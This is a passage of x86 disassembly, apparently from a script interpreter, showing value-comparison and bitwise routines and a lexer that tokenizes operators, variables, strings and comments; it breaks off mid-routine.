		fild	qword ptr [edi+10h]
		jmp	short loc_4107AE
; ---------------------------------------------------------------------------

loc_410796:				; CODE XREF: sub_41071F+70j
		cmp	eax, 2
		jnz	short loc_4107A0
		fld	qword ptr [esi+10h]
		jmp	short loc_4107DC
; ---------------------------------------------------------------------------

loc_4107A0:				; CODE XREF: sub_41071F+7Aj
		cmp	eax, 3
		jnz	short loc_410813
		push	dword ptr [edi+10h]
		call	sub_41D6EF
		pop	ecx

loc_4107AE:				; CODE XREF: sub_41071F+75j
		fcomp	qword ptr [esi+10h]
		jmp	short loc_41077C
; ---------------------------------------------------------------------------

loc_4107B3:				; CODE XREF: sub_41071F+69j
		cmp	eax, 3
		jnz	short loc_410813
		mov	eax, [edi+8]
		cmp	eax, ebx
		jnz	short loc_4107CE
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		fild	qword ptr [edi+10h]
		fcompp	st(1), st
		jmp	short loc_41077B
; ---------------------------------------------------------------------------

loc_4107CE:				; CODE XREF: sub_41071F+9Ej
		cmp	eax, 2
		jnz	short loc_4107EE
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		pop	ecx

loc_4107DC:				; CODE XREF: sub_41071F+40j
					; sub_41071F+7Fj
		fcomp	qword ptr [edi+10h]
		fnstsw	ax
		test	ah, 41h
		jnz	loc_410750

loc_4107EA:				; CODE XREF: sub_41071F+1Fj
					; sub_41071F+2Bj ...
		mov	eax, ebx
		jmp	short loc_410809
; ---------------------------------------------------------------------------

loc_4107EE:				; CODE XREF: sub_41071F+B2j
		cmp	eax, 3
		jnz	short loc_410813
		push	dword ptr [edi+10h]
		push	dword ptr [esi+10h]
		call	sub_41C730
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		mov	eax, ecx

loc_410809:				; CODE XREF: sub_41071F+33j
					; sub_41071F+CDj
		cdq
		mov	[esi+10h], eax
		mov	[esi+14h], edx
		mov	[esi+8], ebx

loc_410813:				; CODE XREF: sub_41071F+45j
					; sub_41071F+84j ...
		pop	ebx
		leave
		retn
sub_41071F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410816	proc near		; CODE XREF: sub_412B5E+2F9p
					; sub_412B5E+463p

var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [esi+8]
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	eax, ebx
		jnz	short loc_41087C
		mov	eax, [edi+8]
		cmp	eax, ebx
		jnz	short loc_41084E
		mov	eax, [esi+14h]
		cmp	eax, [edi+14h]
		jg	short loc_410847
		jl	loc_4108E1
		mov	eax, [esi+10h]
		cmp	eax, [edi+10h]
		jb	loc_4108E1

loc_410847:				; CODE XREF: sub_410816+1Dj
					; sub_410816+62j ...
		xor	eax, eax
		jmp	loc_410900
; ---------------------------------------------------------------------------

loc_41084E:				; CODE XREF: sub_410816+15j
		cmp	eax, 2
		jnz	short loc_410858
		fild	qword ptr [esi+10h]
		jmp	short loc_4108D3
; ---------------------------------------------------------------------------

loc_410858:				; CODE XREF: sub_410816+3Bj
		cmp	eax, 3
		jnz	loc_41090A
		fild	qword ptr [esi+10h]
		push	dword ptr [edi+10h]
		fstp	[ebp+var_8]
		call	sub_41D6EF
		fcomp	[ebp+var_8]

loc_410872:				; CODE XREF: sub_410816+ADj
		pop	ecx

loc_410873:				; CODE XREF: sub_410816+92j
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_410847
		jmp	short loc_4108E1
; ---------------------------------------------------------------------------

loc_41087C:				; CODE XREF: sub_410816+Ej
		cmp	eax, 2
		jnz	short loc_4108AA
		mov	eax, [edi+8]
		cmp	eax, ebx
		jnz	short loc_41088D
		fild	qword ptr [edi+10h]
		jmp	short loc_4108A5
; ---------------------------------------------------------------------------

loc_41088D:				; CODE XREF: sub_410816+70j
		cmp	eax, 2
		jnz	short loc_410897
		fld	qword ptr [esi+10h]
		jmp	short loc_4108D3
; ---------------------------------------------------------------------------

loc_410897:				; CODE XREF: sub_410816+7Aj
		cmp	eax, 3
		jnz	short loc_41090A
		push	dword ptr [edi+10h]
		call	sub_41D6EF
		pop	ecx

loc_4108A5:				; CODE XREF: sub_410816+75j
		fcomp	qword ptr [esi+10h]
		jmp	short loc_410873
; ---------------------------------------------------------------------------

loc_4108AA:				; CODE XREF: sub_410816+69j
		cmp	eax, 3
		jnz	short loc_41090A
		mov	eax, [edi+8]
		cmp	eax, ebx
		jnz	short loc_4108C5
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		fild	qword ptr [edi+10h]
		fcompp	st(1), st
		jmp	short loc_410872
; ---------------------------------------------------------------------------

loc_4108C5:				; CODE XREF: sub_410816+9Ej
		cmp	eax, 2
		jnz	short loc_4108E5
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		pop	ecx

loc_4108D3:				; CODE XREF: sub_410816+40j
					; sub_410816+7Fj
		fcomp	qword ptr [edi+10h]
		fnstsw	ax
		test	ah, 5
		jp	loc_410847

loc_4108E1:				; CODE XREF: sub_410816+1Fj
					; sub_410816+2Bj ...
		mov	eax, ebx
		jmp	short loc_410900
; ---------------------------------------------------------------------------

loc_4108E5:				; CODE XREF: sub_410816+B2j
		cmp	eax, 3
		jnz	short loc_41090A
		push	dword ptr [edi+10h]
		push	dword ptr [esi+10h]
		call	sub_41C730
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		setl	cl
		mov	eax, ecx

loc_410900:				; CODE XREF: sub_410816+33j
					; sub_410816+CDj
		cdq
		mov	[esi+10h], eax
		mov	[esi+14h], edx
		mov	[esi+8], ebx

loc_41090A:				; CODE XREF: sub_410816+45j
					; sub_410816+84j ...
		pop	ebx
		leave
		retn
sub_410816	endp


; =============== S U B	R O U T	I N E =======================================



sub_41090D	proc near		; CODE XREF: sub_412B5E+839p
		push	esi
		mov	esi, edi
		call	sub_40FEC3
		mov	esi, ebx
		call	sub_40FEC3
		mov	eax, [ebx+10h]
		and	eax, [edi+10h]
		mov	dword ptr [edi+8], 1
		cdq
		mov	[edi+10h], eax
		mov	[edi+14h], edx
		pop	esi
		retn
sub_41090D	endp


; =============== S U B	R O U T	I N E =======================================



sub_410932	proc near		; CODE XREF: sub_412B5E+890p
		push	esi
		mov	esi, edi
		call	sub_40FEC3
		mov	esi, ebx
		call	sub_40FEC3
		mov	eax, [ebx+10h]
		or	eax, [edi+10h]
		mov	dword ptr [edi+8], 1
		cdq
		mov	[edi+10h], eax
		mov	[edi+14h], edx
		pop	esi
		retn
sub_410932	endp


; =============== S U B	R O U T	I N E =======================================



sub_410957	proc near		; CODE XREF: sub_412B5E+8E7p
		push	esi
		mov	esi, edi
		call	sub_40FEC3
		mov	esi, ebx
		call	sub_40FEC3
		mov	eax, [ebx+10h]
		xor	eax, [edi+10h]
		mov	dword ptr [edi+8], 1
		cdq
		mov	[edi+10h], eax
		mov	[edi+14h], edx
		pop	esi
		retn
sub_410957	endp


; =============== S U B	R O U T	I N E =======================================



sub_41097C	proc near		; CODE XREF: sub_41226A+3E2p
		cmp	edi, 400h
		jbe	short loc_410987
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_410987:				; CODE XREF: sub_41097C+6j
		push	ebx
		lea	ebx, [esi+4]
		jmp	short loc_4109B2
; ---------------------------------------------------------------------------

loc_41098D:				; CODE XREF: sub_41097C+3Fj
		push	18h
		call	sub_41BA91
		pop	ecx
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_4109A8
		mov	[eax+10h], ecx
		mov	[eax+8], ecx
		mov	[eax+4], ecx
		mov	[eax], ecx
		jmp	short loc_4109AA
; ---------------------------------------------------------------------------

loc_4109A8:				; CODE XREF: sub_41097C+1Dj
		xor	eax, eax

loc_4109AA:				; CODE XREF: sub_41097C+2Aj
		push	eax
		mov	eax, esi
		call	sub_4109C7

loc_4109B2:				; CODE XREF: sub_41097C+Fj
		mov	eax, ebx
		call	sub_408AF0
		cmp	eax, edi
		jbe	short loc_41098D
		mov	eax, [esi+8]
		lea	eax, [eax+edi*4]
		mov	eax, [eax]
		pop	ebx
		retn
sub_41097C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4109C7	proc near		; CODE XREF: sub_41097C+31p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, eax
		mov	eax, [esi+14h]
		add	eax, 2C8h
		call	sub_41377F
		lea	eax, [esi+4]
		lea	esi, [esp+4+arg_0]
		call	sub_413F72
		pop	esi
		retn	4
sub_4109C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4109EB	proc near		; CODE XREF: sub_411377+1Cp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C350
		inc	eax
		push	eax
		call	sub_41BAB5
		push	[esp+8+arg_0]
		mov	[esi], eax
		push	eax
		call	sub_41C930
		push	[esp+10h+arg_0]
		call	sub_41C350
		mov	[esi+4], eax
		xor	eax, eax
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		mov	[esi+30h], eax
		mov	[esi+8], eax
		mov	[esi+24h], eax
		mov	[esi+0Ch], eax
		mov	[esi+14h], eax
		add	esp, 14h
		mov	eax, esi
		retn	4
sub_4109EB	endp

; ---------------------------------------------------------------------------

loc_410A32:				; CODE XREF: .text:00427DBBj
		push	dword ptr [eax]
		call	sub_41CA28
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_410A3B	proc near		; CODE XREF: sub_410EEB:loc_410F06p
					; .text:00412257p ...
		push	edi
		xor	edi, edi
		cmp	[esi+1Ch], edi
		jz	short loc_410A48
		push	10h
		pop	eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_410A48:				; CODE XREF: sub_410A3B+6j
		push	ebx
		push	ebp
		mov	eax, esi
		mov	[esi+30h], edi
		mov	[esi+8], edi
		call	sub_410F14
		mov	eax, [esi+20h]
		cmp	eax, [esi+4]
		jnb	loc_410EE4
		xor	ebp, ebp
		push	2
		inc	ebp
		pop	ebx

loc_410A69:				; CODE XREF: sub_410A3B+373j
		mov	edx, [esi+30h]
		cmp	edx, edi
		jnz	loc_410C74
		cmp	[esi+0Ch], edi
		jz	short loc_410A87
		mov	eax, [esi]
		mov	ecx, [esi+20h]
		mov	dl, [esi+10h]
		mov	[eax+ecx], dl
		mov	[esi+0Ch], edi

loc_410A87:				; CODE XREF: sub_410A3B+3Cj
		cmp	[esi+14h], edi
		jz	short loc_410A98
		mov	eax, [esi+18h]
		mov	ecx, [esi]
		mov	byte ptr [eax+ecx], 22h
		mov	[esi+14h], edi

loc_410A98:				; CODE XREF: sub_410A3B+4Fj
		mov	eax, [esi]
		mov	ecx, [esi+20h]
		mov	[esi+34h], edi
		mov	[esi+38h], edi
		mov	[esi+40h], edi
		mov	[esi+3Ch], edi
		mov	[esi+44h], edi
		mov	[esi+48h], edi
		movsx	eax, byte ptr [eax+ecx]
		push	eax
		call	sub_41D63C
		test	eax, eax
		pop	ecx
		jz	short loc_410AC6
		mov	[esi+34h], ebp
		jmp	loc_410D83
; ---------------------------------------------------------------------------

loc_410AC6:				; CODE XREF: sub_410A3B+81j
		mov	eax, [esi]
		mov	ecx, [esi+20h]
		movsx	eax, byte ptr [eax+ecx]
		push	eax
		call	sub_41D5FD
		test	eax, eax
		pop	ecx
		jz	short loc_410AE2
		mov	[esi+44h], ebp
		jmp	loc_410D83
; ---------------------------------------------------------------------------

loc_410AE2:				; CODE XREF: sub_410A3B+9Dj
		mov	edi, [esi+20h]
		mov	ecx, [esi]
		lea	edx, [ecx+edi]
		mov	al, [edx]
		cmp	al, 22h
		jnz	short loc_410AF8
		mov	[esi+40h], ebp
		jmp	loc_410D83
; ---------------------------------------------------------------------------

loc_410AF8:				; CODE XREF: sub_410A3B+B3j
		cmp	al, 24h
		jz	loc_410C59
		cmp	al, 40h
		jz	loc_410C59
		cmp	al, 5Bh
		jz	loc_410DB3
		cmp	al, 5Dh
		jz	loc_410DB7
		cmp	al, 28h
		jz	loc_410DBB
		cmp	al, 29h
		jz	loc_410DBF
		cmp	al, 7Bh
		jz	loc_410DC3
		cmp	al, 7Dh
		jz	loc_410DC7
		cmp	al, 3Fh
		jz	loc_410DD3
		cmp	al, 3Ah
		jz	loc_410DD3
		cmp	al, 2Ch
		jz	loc_410DCB
		cmp	al, 3Bh
		jz	loc_410DCF
		cmp	al, 7Eh
		jz	loc_410DD3
		cmp	al, 21h
		jz	loc_410DE0
		cmp	al, 2Bh
		jz	loc_410DFD
		cmp	al, 2Dh
		jz	loc_410E0B
		cmp	al, 3Dh
		jz	loc_410DE0
		cmp	al, 26h
		jz	loc_410E19
		cmp	al, 5Eh
		jz	loc_410DE0
		cmp	al, 7Ch
		jz	loc_410E2C
		cmp	al, 2Fh
		jnz	short loc_410C0B
		mov	dl, [edx+1]
		cmp	dl, 3Dh
		jz	loc_410E3F
		cmp	dl, al
		jnz	short loc_410BD0
		cmp	edi, [esi+4]
		jnb	loc_410D83

loc_410BB5:				; CODE XREF: sub_410A3B+18Ej
		mov	eax, [esi+20h]
		cmp	byte ptr [ecx+eax], 0Ah
		jz	loc_410DA0
		inc	eax
		mov	[esi+20h], eax
		cmp	eax, [esi+4]
		jb	short loc_410BB5
		jmp	loc_410D83
; ---------------------------------------------------------------------------

loc_410BD0:				; CODE XREF: sub_410A3B+16Fj
		cmp	dl, 2Ah
		jnz	loc_410E47
		cmp	edi, [esi+4]
		jnb	short loc_410BF7

loc_410BDE:				; CODE XREF: sub_410A3B+1BAj
		mov	eax, [esi+20h]
		cmp	byte ptr [ecx+eax], 2Ah
		jnz	short loc_410BEE
		cmp	byte ptr [ecx+eax+1], 2Fh
		jz	short loc_410C03

loc_410BEE:				; CODE XREF: sub_410A3B+1AAj
		inc	eax
		mov	[esi+20h], eax
		cmp	eax, [esi+4]
		jb	short loc_410BDE

loc_410BF7:				; CODE XREF: sub_410A3B+1A1j
		mov	dword ptr [esi+1Ch], 3
		jmp	loc_410EAF
; ---------------------------------------------------------------------------

loc_410C03:				; CODE XREF: sub_410A3B+1B1j
		add	[esi+20h], ebx
		jmp	loc_410DA0
; ---------------------------------------------------------------------------

loc_410C0B:				; CODE XREF: sub_410A3B+15Fj
		cmp	al, 25h
		jz	loc_410DE0
		cmp	al, 2Ah
		jz	loc_410DE0
		cmp	al, 3Ch
		jz	loc_410E4F
		cmp	al, 3Eh
		jz	loc_410E78
		movsx	eax, al
		push	eax
		call	sub_41D676
		test	eax, eax
		pop	ecx
		jnz	short loc_410C51
		mov	eax, [esi]
		mov	ecx, [esi+20h]
		mov	al, [eax+ecx]
		cmp	al, 0Dh
		jz	short loc_410C51
		cmp	al, 0Ah
		jz	short loc_410C51
		cmp	al, 9
		jnz	loc_410D83

loc_410C51:				; CODE XREF: sub_410A3B+1FCj
					; sub_410A3B+208j ...
		inc	dword ptr [esi+20h]
		jmp	loc_410DA0
; ---------------------------------------------------------------------------

loc_410C59:				; CODE XREF: sub_410A3B+BFj
					; sub_410A3B+C7j
		movsx	eax, byte ptr [edx+1]
		push	eax
		call	sub_41D5FD
		test	eax, eax
		pop	ecx
		jz	loc_410EA5
		mov	[esi+3Ch], ebp
		jmp	loc_410D83
; ---------------------------------------------------------------------------

loc_410C74:				; CODE XREF: sub_410A3B+33j
		cmp	[esi+44h], edi
		jz	short loc_410CC3
		mov	eax, [esi]
		mov	ecx, [esi+20h]
		movsx	eax, byte ptr [eax+ecx]
		push	eax
		call	sub_41D6B0
		test	eax, eax
		pop	ecx
		jnz	loc_410D83
		mov	eax, [esi+20h]
		mov	ecx, [esi]
		mov	cl, [eax+ecx]
		cmp	cl, 5Fh
		jz	loc_410D83
		cmp	cl, 2Eh
		jnz	short loc_410CB1
		inc	dword ptr [esi+30h]
		inc	eax
		mov	[esi+48h], ebp
		mov	[esi+20h], eax

loc_410CB1:				; CODE XREF: sub_410A3B+26Aj
		mov	eax, esi
		call	sub_410F42
		mov	[esi+44h], edi
		mov	[esi+48h], edi
		jmp	loc_410D75
; ---------------------------------------------------------------------------

loc_410CC3:				; CODE XREF: sub_410A3B+23Cj
		cmp	[esi+34h], edi
		jz	short loc_410CFD
		mov	eax, [esi]
		mov	ecx, [esi+20h]
		mov	al, [eax+ecx]
		cmp	al, 2Eh
		jnz	short loc_410CDF
		mov	[esi+34h], edi
		mov	[esi+38h], ebp
		jmp	loc_410D83
; ---------------------------------------------------------------------------

loc_410CDF:				; CODE XREF: sub_410A3B+297j
		movsx	eax, al
		push	eax
		call	sub_41D63C
		test	eax, eax
		pop	ecx
		jnz	loc_410D83
		mov	eax, esi
		call	sub_410F42
		mov	[esi+34h], edi
		jmp	short loc_410D75
; ---------------------------------------------------------------------------

loc_410CFD:				; CODE XREF: sub_410A3B+28Bj
		cmp	[esi+38h], edi
		jz	short loc_410D22
		mov	eax, [esi]
		mov	ecx, [esi+20h]
		movsx	eax, byte ptr [eax+ecx]
		push	eax
		call	sub_41D63C
		test	eax, eax
		pop	ecx
		jnz	short loc_410D83
		mov	eax, esi
		call	sub_410F42
		mov	[esi+38h], edi
		jmp	short loc_410D75
; ---------------------------------------------------------------------------

loc_410D22:				; CODE XREF: sub_410A3B+2C5j
		cmp	[esi+40h], edi
		jz	short loc_410D47
		mov	eax, [esi+20h]
		mov	ecx, [esi]
		mov	cl, [eax+ecx]
		cmp	cl, 22h
		jz	loc_410EB3
		cmp	cl, 5Ch
		jnz	short loc_410D83
		inc	eax
		inc	edx
		mov	[esi+20h], eax
		mov	[esi+30h], edx
		jmp	short loc_410D83
; ---------------------------------------------------------------------------

loc_410D47:				; CODE XREF: sub_410A3B+2EAj
		cmp	[esi+3Ch], edi
		jz	short loc_410D83
		mov	eax, [esi]
		mov	ecx, [esi+20h]
		movsx	eax, byte ptr [eax+ecx]
		push	eax
		call	sub_41D6B0
		test	eax, eax
		pop	ecx
		jnz	short loc_410D83
		mov	eax, [esi]
		mov	ecx, [esi+20h]
		cmp	byte ptr [eax+ecx], 5Fh
		jz	short loc_410D83
		mov	eax, esi
		call	sub_410F42
		mov	[esi+3Ch], edi

loc_410D75:				; CODE XREF: sub_410A3B+283j
					; sub_410A3B+2C0j ...
		cmp	eax, edi
		mov	ecx, [esi+30h]
		mov	[esi+8], ecx
		jnz	loc_410EE7

loc_410D83:				; CODE XREF: sub_410A3B+86j
					; sub_410A3B+A2j ...
		inc	dword ptr [esi+20h]
		mov	eax, [esi+20h]
		cmp	eax, [esi+4]
		jb	short loc_410D9D
		mov	eax, esi
		call	sub_410F42
		test	eax, eax
		jnz	loc_410ED6

loc_410D9D:				; CODE XREF: sub_410A3B+351j
		inc	dword ptr [esi+30h]

loc_410DA0:				; CODE XREF: sub_410A3B+181j
					; sub_410A3B+1CBj ...
		mov	eax, [esi+20h]
		cmp	eax, [esi+4]
		jnb	loc_410EE4
		xor	edi, edi
		jmp	loc_410A69
; ---------------------------------------------------------------------------

loc_410DB3:				; CODE XREF: sub_410A3B+CFj
		push	9
		jmp	short loc_410DD5
; ---------------------------------------------------------------------------

loc_410DB7:				; CODE XREF: sub_410A3B+D7j
		push	0Ah
		jmp	short loc_410DD5
; ---------------------------------------------------------------------------

loc_410DBB:				; CODE XREF: sub_410A3B+DFj
		push	7
		jmp	short loc_410DD5
; ---------------------------------------------------------------------------

loc_410DBF:				; CODE XREF: sub_410A3B+E7j
		push	8
		jmp	short loc_410DD5
; ---------------------------------------------------------------------------

loc_410DC3:				; CODE XREF: sub_410A3B+EFj
		push	0Bh
		jmp	short loc_410DD5
; ---------------------------------------------------------------------------

loc_410DC7:				; CODE XREF: sub_410A3B+F7j
		push	0Ch
		jmp	short loc_410DD5
; ---------------------------------------------------------------------------

loc_410DCB:				; CODE XREF: sub_410A3B+10Fj
		push	5
		jmp	short loc_410DD5
; ---------------------------------------------------------------------------

loc_410DCF:				; CODE XREF: sub_410A3B+117j
		push	6
		jmp	short loc_410DD5
; ---------------------------------------------------------------------------

loc_410DD3:				; CODE XREF: sub_410A3B+FFj
					; sub_410A3B+107j ...
		push	4

loc_410DD5:				; CODE XREF: sub_410A3B+37Aj
					; sub_410A3B+37Ej ...
		inc	dword ptr [esi+20h]
		mov	[esi+8], ebp
		jmp	loc_410EE6
; ---------------------------------------------------------------------------

loc_410DE0:				; CODE XREF: sub_410A3B+127j
					; sub_410A3B+13Fj ...
		mov	eax, [esi+20h]
		mov	ecx, [esi]
		cmp	byte ptr [eax+ecx+1], 3Dh

loc_410DEA:				; CODE XREF: sub_410A3B+3EFj
					; sub_410A3B+402j ...
		push	4
		jnz	loc_410E9C
		mov	[esi+8], ebx
		add	eax, 2
		jmp	loc_410EA0
; ---------------------------------------------------------------------------

loc_410DFD:				; CODE XREF: sub_410A3B+12Fj
		mov	eax, [esi+20h]
		mov	ecx, [esi]
		mov	cl, [eax+ecx+1]
		cmp	cl, 2Bh
		jmp	short loc_410E38
; ---------------------------------------------------------------------------

loc_410E0B:				; CODE XREF: sub_410A3B+137j
		mov	eax, [esi+20h]
		mov	ecx, [esi]
		mov	cl, [eax+ecx+1]
		cmp	cl, 2Dh
		jmp	short loc_410E38
; ---------------------------------------------------------------------------

loc_410E19:				; CODE XREF: sub_410A3B+147j
		mov	eax, [esi+20h]
		mov	ecx, [esi]
		mov	cl, [eax+ecx+1]
		cmp	cl, 3Dh
		jz	short loc_410E87
		cmp	cl, 26h
		jmp	short loc_410DEA
; ---------------------------------------------------------------------------

loc_410E2C:				; CODE XREF: sub_410A3B+157j
		mov	eax, [esi+20h]
		mov	ecx, [esi]
		mov	cl, [eax+ecx+1]
		cmp	cl, 7Ch

loc_410E38:				; CODE XREF: sub_410A3B+3CEj
					; sub_410A3B+3DCj
		jz	short loc_410E87
		cmp	cl, 3Dh
		jmp	short loc_410DEA
; ---------------------------------------------------------------------------

loc_410E3F:				; CODE XREF: sub_410A3B+167j
		add	[esi+20h], ebx
		mov	[esi+8], ebx
		jmp	short loc_410E90
; ---------------------------------------------------------------------------

loc_410E47:				; CODE XREF: sub_410A3B+198j
		inc	dword ptr [esi+20h]
		mov	[esi+8], ebp
		jmp	short loc_410E90
; ---------------------------------------------------------------------------

loc_410E4F:				; CODE XREF: sub_410A3B+1E2j
		mov	eax, [esi+20h]
		mov	ecx, [esi]
		add	ecx, eax
		mov	dl, [ecx+1]
		cmp	dl, 3Ch

loc_410E5C:				; CODE XREF: sub_410A3B+44Aj
		jnz	short loc_410E94
		lea	edx, [eax+1]
		cmp	edx, [esi+4]
		jnb	short loc_410E87
		cmp	byte ptr [ecx+2], 3Dh
		jnz	short loc_410E87
		mov	dword ptr [esi+8], 3
		add	eax, 3
		jmp	short loc_410E8D
; ---------------------------------------------------------------------------

loc_410E78:				; CODE XREF: sub_410A3B+1EAj
		mov	eax, [esi+20h]
		mov	ecx, [esi]
		add	ecx, eax
		mov	dl, [ecx+1]
		cmp	dl, 3Eh
		jmp	short loc_410E5C
; ---------------------------------------------------------------------------

loc_410E87:				; CODE XREF: sub_410A3B+3EAj
					; sub_410A3B:loc_410E38j ...
		mov	[esi+8], ebx
		add	eax, 2

loc_410E8D:				; CODE XREF: sub_410A3B+43Bj
		mov	[esi+20h], eax

loc_410E90:				; CODE XREF: sub_410A3B+40Aj
					; sub_410A3B+412j
		push	4
		jmp	short loc_410EE6
; ---------------------------------------------------------------------------

loc_410E94:				; CODE XREF: sub_410A3B:loc_410E5Cj
		cmp	dl, 3Dh
		jmp	loc_410DEA
; ---------------------------------------------------------------------------

loc_410E9C:				; CODE XREF: sub_410A3B+3B1j
		mov	[esi+8], ebp
		inc	eax

loc_410EA0:				; CODE XREF: sub_410A3B+3BDj
		mov	[esi+20h], eax
		jmp	short loc_410EE6
; ---------------------------------------------------------------------------

loc_410EA5:				; CODE XREF: sub_410A3B+22Bj
		and	dword ptr [esi+8], 0
		inc	dword ptr [esi+20h]
		mov	[esi+1Ch], ebp

loc_410EAF:				; CODE XREF: sub_410A3B+1C3j
		push	10h
		jmp	short loc_410EE6
; ---------------------------------------------------------------------------

loc_410EB3:				; CODE XREF: sub_410A3B+2F7j
		mov	eax, [esi]
		mov	ecx, [esi+20h]
		mov	byte ptr [eax+ecx], 0
		mov	eax, [esi+20h]
		mov	[esi+18h], eax
		inc	eax
		mov	[esi+20h], eax
		mov	eax, [esi+30h]
		mov	[esi+14h], ebp
		mov	[esi+8], eax
		mov	[esi+40h], edi
		push	0Fh
		jmp	short loc_410EE6
; ---------------------------------------------------------------------------

loc_410ED6:				; CODE XREF: sub_410A3B+35Cj
		cmp	eax, 10h
		jz	short loc_410EE7
		mov	ecx, [esi+30h]
		inc	ecx
		mov	[esi+8], ecx
		jmp	short loc_410EE7
; ---------------------------------------------------------------------------

loc_410EE4:				; CODE XREF: sub_410A3B+22j
					; sub_410A3B+36Bj
		push	11h

loc_410EE6:				; CODE XREF: sub_410A3B+3A0j
					; sub_410A3B+457j ...
		pop	eax

loc_410EE7:				; CODE XREF: sub_410A3B+342j
					; sub_410A3B+49Ej ...
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_410A3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_410EEB	proc near		; CODE XREF: sub_41226A+214p
					; sub_41226A+3F4p ...
		push	esi
		mov	esi, eax
		cmp	dword ptr [esi+24h], 0
		jnz	short loc_410F02
		mov	eax, [esi+20h]
		mov	[esi+28h], eax
		mov	eax, [esi+8]
		mov	[esi+2Ch], eax
		jmp	short loc_410F06
; ---------------------------------------------------------------------------

loc_410F02:				; CODE XREF: sub_410EEB+7j
		and	dword ptr [esi+24h], 0

loc_410F06:				; CODE XREF: sub_410EEB+15j
		call	sub_410A3B
		mov	dword ptr [esi+24h], 1
		pop	esi
		retn
sub_410EEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_410F14	proc near		; CODE XREF: sub_410A3B+17p
					; sub_41226A+239p ...
		xor	ecx, ecx
		cmp	[eax+24h], ecx
		jz	short locret_410F41
		cmp	[eax+0Ch], ecx
		jz	short loc_410F32
		mov	edx, [eax+20h]
		push	ebx
		mov	bl, [eax+10h]
		push	esi
		mov	esi, [eax]
		mov	[edx+esi], bl
		pop	esi
		mov	[eax+0Ch], ecx
		pop	ebx

loc_410F32:				; CODE XREF: sub_410F14+Aj
		mov	edx, [eax+28h]
		mov	[eax+20h], edx
		mov	edx, [eax+2Ch]
		mov	[eax+8], edx
		mov	[eax+24h], ecx

locret_410F41:				; CODE XREF: sub_410F14+5j
		retn
sub_410F14	endp


; =============== S U B	R O U T	I N E =======================================



sub_410F42	proc near		; CODE XREF: sub_410A3B+278p
					; sub_410A3B+2B8p ...
		xor	ecx, ecx
		cmp	[eax+48h], ecx
		jz	short loc_410F4D
		push	2
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_410F4D:				; CODE XREF: sub_410F42+5j
		cmp	[eax+44h], ecx
		jz	short loc_410F56
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_410F56:				; CODE XREF: sub_410F42+Ej
		cmp	[eax+34h], ecx
		jz	short loc_410F5F
		push	0Dh
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_410F5F:				; CODE XREF: sub_410F42+17j
		cmp	[eax+38h], ecx
		jz	short loc_410F68
		push	0Eh
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_410F68:				; CODE XREF: sub_410F42+20j
		cmp	[eax+40h], ecx
		jz	short loc_410F78
		push	10h
		mov	dword ptr [eax+1Ch], 2
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_410F78:				; CODE XREF: sub_410F42+29j
		mov	eax, [eax+3Ch]
		neg	eax
		sbb	eax, eax
		and	eax, 3
		retn
sub_410F42	endp


; =============== S U B	R O U T	I N E =======================================



sub_410F83	proc near		; CODE XREF: sub_41226A+72p
					; sub_41226A+8Dp ...
		cmp	dword ptr [ecx+0Ch], 0
		jnz	short loc_410F94
		mov	eax, [ecx+20h]
		mov	edx, [ecx]
		mov	al, [eax+edx]
		mov	[ecx+10h], al

loc_410F94:				; CODE XREF: sub_410F83+4j
		mov	eax, [ecx]
		mov	edx, [ecx+20h]
		mov	dword ptr [ecx+0Ch], 1
		mov	byte ptr [eax+edx], 0
		mov	eax, [ecx]
		sub	eax, [ecx+8]
		add	eax, [ecx+20h]
		retn
sub_410F83	endp


; =============== S U B	R O U T	I N E =======================================



sub_410FAD	proc near		; CODE XREF: sub_411204+Cp
					; sub_411204+16p ...
		push	offset dword_4303C4
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_410FC0
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_410FC0:				; CODE XREF: sub_410FAD+Fj
		push	offset dword_4303D4
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_410FD8
		push	2
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_410FD8:				; CODE XREF: sub_410FAD+22j
		push	offset dword_4303CC
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_410FF0
		push	3
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_410FF0:				; CODE XREF: sub_410FAD+3Aj
		push	offset dword_4308E0
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411008
		push	4
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_411008:				; CODE XREF: sub_410FAD+52j
		push	offset dword_4308DC
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411020
		push	5
		jmp	loc_4111B9
; ---------------------------------------------------------------------------

loc_411020:				; CODE XREF: sub_410FAD+6Aj
		push	offset dword_4308D8
		push	esi
		call	sub_41C730
		test	eax, eax
